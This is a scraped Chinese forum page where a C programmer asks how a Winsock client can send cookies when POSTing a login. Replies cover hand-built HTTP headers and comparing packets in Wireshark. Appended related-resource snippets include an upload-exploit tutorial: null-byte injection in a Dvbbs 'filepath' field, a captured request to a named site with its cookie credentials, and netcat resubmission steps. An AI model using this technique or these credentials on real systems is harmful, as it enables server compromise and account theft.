社区
C语言
帖子详情
c语言socket编程,POST数据至服务器,怎么支持cookie?
kondykuang
2010-01-29 10:13:49
采用winsock中socket编程登陆web服务器,我post数据至web服务器,
服务器上有js验证客户端是否支持cookie,
由于不支持而直接还回,所以登陆不成功
请问有办法让socket编程能支持cookie嘛??
...全文
460
15
打赏
收藏
c语言socket编程,POST数据至服务器,怎么支持cookie?
采用winsock中socket编程登陆web服务器,我post数据至web服务器, 服务器上有js验证客户端是否支持cookie, 由于不支持而直接还回,所以登陆不成功 请问有办法让socket编程能支持cookie嘛??
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
15 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
kondykuang
2010-01-31
打赏
举报
回复
[Quote=引用 14 楼 cattycat 的回复:]
说明这个服务器要求客户端支持cookie.
另外,你先清除你的浏览器的缓存,包括cookie,然后第一次访问这个站点,这时这个http请求的cookie才是请求,服务器会返回http包中包含set cookie的首部行。
你重新试试,必须是第一次访问服务器的包。
[/Quote]
好,我再试试
do_fork
2010-01-30
打赏
举报
回复
wireshark抓包,对比一下自己程序和浏览器POST有何不同
shiweifu
2010-01-30
打赏
举报
回复
MARK
cattycat
2010-01-30
打赏
举报
回复
你可以通过浏览器登录一次服务器,在你的机器上用wireshark抓取一个http post数据包,对比一下数据格式看是不是正确的。
cattycat
2010-01-30
打赏
举报
回复
说明这个服务器要求客户端支持cookie.
另外,你先清除你的浏览器的缓存,包括cookie,然后第一次访问这个站点,这时这个http请求的cookie才是请求,服务器会返回http包中包含set cookie的首部行。
你重新试试,必须是第一次访问服务器的包。
东大坡居士
2010-01-30
打赏
举报
回复
"Cookie: ASPSESSIONIDCCBBCDBA=%s"
這個貌似是cookie的鍵值對吧,應該有個設置cookie是否有效的鍵值吧
zhangrenhui
2010-01-30
打赏
举报
回复
UP
kondykuang
2010-01-30
打赏
举报
回复
[Quote=引用 10 楼 cattycat 的回复:]
你可以通过浏览器登录一次服务器,在你的机器上用wireshark抓取一个http post数据包,对比一下数据格式看是不是正确的。
[/Quote]
呵呵 我正是先抓包了,再模仿浏览器写的httphearder
但是我始终不明白为什么我用我的程序 服务器就还回“不支持cookie”。
据查 js的 是否支持cookie 只是检查了一个浏览器的属性
if(navigator.cookieEnabled) //判断浏览器是否支持cookie
kondykuang
2010-01-29
打赏
举报
回复
[Quote=引用 5 楼 cattycat 的回复:]
上面说的有点乱了,socket直接发送给web服务器的话,是需要自己构造http数据包的。服务器端会检查这些头部的信息。在JSP,ASP中cookie实际上是当成内置的对象来用的,js检测cookie就是通过对象提供的方法来检测的。 它并不知道底层是怎么实现cookie的。 实际上,cookie是HTTP头部的信息,现在的浏览器都自己把这部分工作做了。所以经常会有说浏览器支持一些js方法,比如AJAX,有的老的浏览器就不支持。
简单的说,你需要自己用socket构造http请求信息。
[/Quote]
我的请求头大致如下
sprintf(req,"POST /LoginCheckUser.asp HTTP/1.0\r\n"
"From: local\r\n"
"Connection: Keep-Alive"
"Cookie: ASPSESSIONIDCCBBCDBA=%s"
"User-Agent: post_test/1.0\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\n"
"select=1&userid=000&pswd=%d&Submit=%%BD%%
但是 还有有个提示
mostmark
2010-01-29
打赏
举报
回复
顶哦
cattycat
2010-01-29
打赏
举报
回复
上面说的有点乱了,socket直接发送给web服务器的话,是需要自己构造http数据包的。服务器端会检查这些头部的信息。在JSP,ASP中cookie实际上是当成内置的对象来用的,js检测cookie就是通过对象提供的方法来检测的。 它并不知道底层是怎么实现cookie的。 实际上,cookie是HTTP头部的信息,现在的浏览器都自己把这部分工作做了。所以经常会有说浏览器支持一些js方法,比如AJAX,有的老的浏览器就不支持。
简单的说,你需要自己用socket构造http请求信息。
durant
2010-01-29
打赏
举报
回复
帮顶下
z569362161
2010-01-29
打赏
举报
回复
Cookie是服务器在本地计算机上存储的小段文本,并随每一个请求发送至同一个服务器。IETF RFC 2965 HTTP State Management Mechanism 是通用Cookie规范。网络服务器用HTTP头向客户端发送Cookies,在客户终端,浏览器解析这些Cookies并将它们保存为一个本地文件,它会自动将同一服务器的任何请求附上这些Cookies。
DontKissBossAss
2010-01-29
打赏
举报
回复
[Quote=引用 1 楼 cattycat 的回复:]
这个估计得客户端socket构造HTTP GET头部,GET头部的数据域好像有个字段表明是与cookie相关的。
socket登录web,很少这么用的。使用cookie是web方式访问服务器时在浏览器保存一些信息的。socket完全没有这个,和web服务器交换数据,需要把数据封装成HTTP数据包发送给服务器。
[/Quote]
感觉还应该有一个点忽略了,检测是否支持cookie的JS 是怎么检测的。如果只是检查请求头里面是否有cookie参数的话,楼上应该就好了,这学期偷学了HTTP,了解皮毛了。。。。
cattycat
2010-01-29
打赏
举报
回复
这个估计得客户端socket构造HTTP GET头部,GET头部的数据域好像有个字段表明是与cookie相关的。
socket登录web,很少这么用的。使用cookie是web方式访问服务器时在浏览器保存一些信息的。socket完全没有这个,和web服务器交换数据,需要把数据封装成HTTP数据包发送给服务器。
先锋无组件上传类(无惧2.0杜绝上传漏洞修改版) v2004
上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat) 用于提交
数据
包 DOS界面下运行: NC -vv www.***.com 80<1.txt -vv: 回显 80: www端口 1.txt: 就是你要发送的
数据
包 (更多使用方法请查看本区的帖子) WSE(WSockExpert) 对本机端口的监视,抓取IE提交的
数据
包 (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下
用到的变量: filepath 默认值uploadface 属性hiden act 默认值upload 属性hiden file1 就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的
数据
是一"\0"为标致的用过
C语言
的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当
服务器
接收filepath
数据
时,检测到newmm.asp后面的\0 就理解为filepath的
数据
就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机 NC [-options] hostname port[s] [ports] ... 监听本地主机 NC -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里):
POST
/bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache
Cookie
: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVAN
COOKIE
S=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改
数据
: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算
cookie
s长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算
cookie
s长度===>你把fillepath改了之后、肯定是或+或—
cookie
s的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了
C语言
socket编程
实例
C语言
socket编程
实例一. 面向连接的流式套接字 C/S 例子二. 非阻塞的多人聊天
服务器
端例子三. 简单的 IPv6 UDP
socket编程
一. 面向连接的流式套接字 C/S 例子 在树莓派下,新建一个 Server1.c,命令 nano Server1.c,然后写入如下内容 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #incl
C++socket网络编程--http
服务器
(
支持
php)实战教学视频
C++socket网络编程大全实战http
服务器
(
支持
php)视频培训教程概况:本课程会同时演示在linux和windows中的编程,课程中的线程和正则表达式都使用c++提供库。本课程包含了socket网络编程常用的所有特性,包括tcp、udp协议的基础编程,广播包,超时连接,多路复用,高并发的epoll多路复用,多线程的服务端。课程讲解理论与实践相结合,实践以代码延时讲解为主。
c语言
签到程序编写,
C语言
socket编程
--每日签到
前几天写了个python的每日签到,你运行还得借助crontab,很是不爽.....正好前几天看了个关于c编写daemon进程,加上自己那点可怜的socket知识,于是我们重操旧页,
C语言
版的每日签到。就是要签到~~~关于daemon程序,也叫守护进程,一般运行在后台,我喜欢悄悄的运行。。。。哈哈哈,这个init_daemon.c被大家在网上转来转去,原则都是一样的Daemon程序设计主要原则包括...
C语言
的http
post
和get请求
C语言
的http
post
和get请求,包括测试函数及测试后的效果
C语言
69,368
社区成员
243,081
社区内容
发帖
与我相关
我的任务
C语言
C语言相关问题讨论
复制链接
扫一扫
分享
社区描述
C语言相关问题讨论
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章